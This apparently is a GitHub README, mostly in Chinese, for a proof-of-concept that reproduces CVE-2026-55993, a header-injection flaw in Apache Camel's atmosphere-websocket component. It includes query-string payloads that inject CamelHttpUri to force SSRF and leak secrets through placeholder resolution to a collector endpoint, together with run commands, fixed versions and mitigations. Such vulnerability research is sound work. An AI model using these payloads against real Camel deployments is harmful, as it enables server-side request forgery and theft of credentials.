oscerd/CVE-2026-55993
GitHub: oscerd/CVE-2026-55993
CVE-2026-55993 的概念验证项目,复现了 Apache Camel atmosphere-websocket 组件因未过滤查询参数导致的 header 注入、SSRF 及机密信息泄露漏洞。
Stars: 0 | Forks: 0
# camel-atmosphere-websocket Header Injection 复现代码 (CVE-2026-55993)
本项目演示了 Apache Camel 的 `camel-atmosphere-websocket` 组件中的 **message-header injection** 漏洞,漏洞编号为 **CVE-2026-55993**。WebSocket consumer 在将连接的查询参数复制到 Camel Exchange 时**没有使用任何 `HeaderFilterStrategy`**,因此客户端只需将这些参数添加到 WebSocket URL 的查询字符串中,即可注入 Camel 控制头——特别是 `CamelHttpUri`:
```
// WebsocketConsumer.sendEventNotification (affected 4.18.2) — query params -> Exchange headers, unfiltered
for (Map.Entry param : queryMap.entrySet()) {
exchange.getIn().setHeader(param.getKey(), param.getValue());
}
// where queryMap = getQueryMap(request.getQueryString()) (a naive, non-filtering parser)
```
当路由将此 consumer 桥接到 HTTP producer 时,被注入的 `CamelHttpUri` 会**覆盖 producer 的目标 URI**——导致 server-side request forgery。camel-http producer 还会对该攻击者可控的 URI 调用 `resolvePropertyPlaceholders()`,因此被注入的 `{{...}}` 引用会被展开为其真实值并发送出去——从而导致环境变量、应用程序属性或 vault 机密信息泄露。
此 PoC 将其影响演示为 **SSRF 加机密信息泄露 (CWE-20 → CWE-918 + CWE-200)**。它是在 CAMEL-23532 中一并修复的三个同级组件之一(另外两个是 `camel-vertx-websocket` 的 CVE-2026-46726,以及 `camel-iggy` 的 CVE-2026-55994)。
公告:https://camel.apache.org/security/CVE-2026-55993.html
## 漏洞概述
| 属性 | 值 |
|----------|-------|
| **组件** | `camel-atmosphere-websocket` |
| **受影响的类** | `org.apache.camel.component.atmosphere.websocket.WebsocketConsumer` (`getQueryMap()` / `sendEventNotification()` 在没有过滤器的情况下将查询参数映射到 header) |
| **CWE** | CWE-20 (输入验证不恰当) → CWE-918 (SSRF) + CWE-200 (信息泄露) |
| **影响** | 未经身份验证的 SSRF 以及通过在注入的 URI 上进行 property-placeholder 解析导致的机密信息泄露 |
| **前置条件** | 路由将 `atmosphere-websocket` consumer 桥接到 HTTP producer;servlet 在运行时设置了 `events=true` |
| **受影响版本** | 从 4.0.0 到 4.14.8 之前,从 4.15.0 到 4.18.3 之前,从 4.19.0 到 4.21.0 之前 |
| **修复版本** | 4.14.8, 4.18.3, 4.21.0 |
| **JIRA** | CAMEL-23532 (PR [apache/camel#23285](https://github.com/apache/camel/pull/23285)) |
| **致谢** | Kamalpreet Singh |
## 此复现代码如何调用真实的受影响代码
`WebsocketConsumer` 的两个受影响成员在**保持不变并带有攻击者可控的查询字符串**的情况下运行:
1. 真实的 `WebsocketConsumer.getQueryMap(String)` —— 这是一个简单直接且不进行过滤的解析器,它将 WebSocket 连接的查询字符串转换为 map;
2. 真实的 `WebsocketConsumer.sendEventNotification(...)` —— 它将该 map 的每个条目复制到 Exchange 作为 header,且不使用任何 `HeaderFilterStrategy`。
生成的 Exchange 会通过**真实的路由**流向**真实的 camel-http producer**,因此 SSRF 和 `{{...}}` property-placeholder 信息泄露都是真实的。
## 受害者路由
```
from("atmosphere-websocket:///feed")
.to("http://localhost:8080/legit-backend?throwExceptionOnFailure=false");
```
路由作者唯一预期的目标是 `/legit-backend`;注入的 `CamelHttpUri` 覆盖了它。
## 仓库结构
```
CVE-2026-55993/
├── pom.xml # camel-atmosphere-websocket + camel-http 4.18.2
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── VictimRoute.java # atmosphere-websocket:///feed -> http://localhost:8080/legit-backend
│ ├── SinkController.java # SSRF collector: /legit-backend, /internal/secret, /collect/{secret}
│ └── ExploitController.java # drives the real getQueryMap + sendEventNotification with an injected query
└── resources/
└── application.properties # app.secret=... (leaked via placeholder resolution)
```
## 前置条件
- Docker 和 Docker Compose
- Java 17+ 和 Maven 3.8+
## 复现步骤
```
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
```
### 预期输出
```
1) Legitimate WebSocket connection (no query params)
reached /legit-backend: true
reached /internal/secret: false
2) Injected query 'CamelHttpUri=http://localhost:8080/internal/secret' (SSRF)
server-side request reached /internal/secret: true
3) Injected query 'CamelHttpUri=http://localhost:8080/collect/{{app.secret}}' (secret disclosure)
attacker's collector received leak = SUPER-SECRET-abc123
equals the app's real secret: true
>>> SSRF=true, secret-disclosure=true
```
## 推荐修复方案
升级到 **4.14.8 / 4.18.3 / 4.21.0** (CAMEL-23532)。升级后,consumer 会从 WebSocket 查询字符串中过滤掉 `Camel*` 的 header,因此 `CamelHttpUri` 和其他控制头将无法再被注入。
## 缓解措施
在升级之前,请勿在没有预先剥离 Camel 控制头的情况下,直接将 `atmosphere-websocket` consumer 桥接到 HTTP producer(例如使用 `removeHeaders("CamelHttp*")`),并且应从可信来源设置 producer 的目标(或使用 `bridgeEndpoint=true`)。
## 免责声明
此复现代码仅供**安全研究和授权测试使用**,针对的是**已公开披露且已修复**的漏洞。未经明确许可,请勿将其用于任何系统。
标签:JS文件枚举, 域名枚举, 版权保护, 请求拦截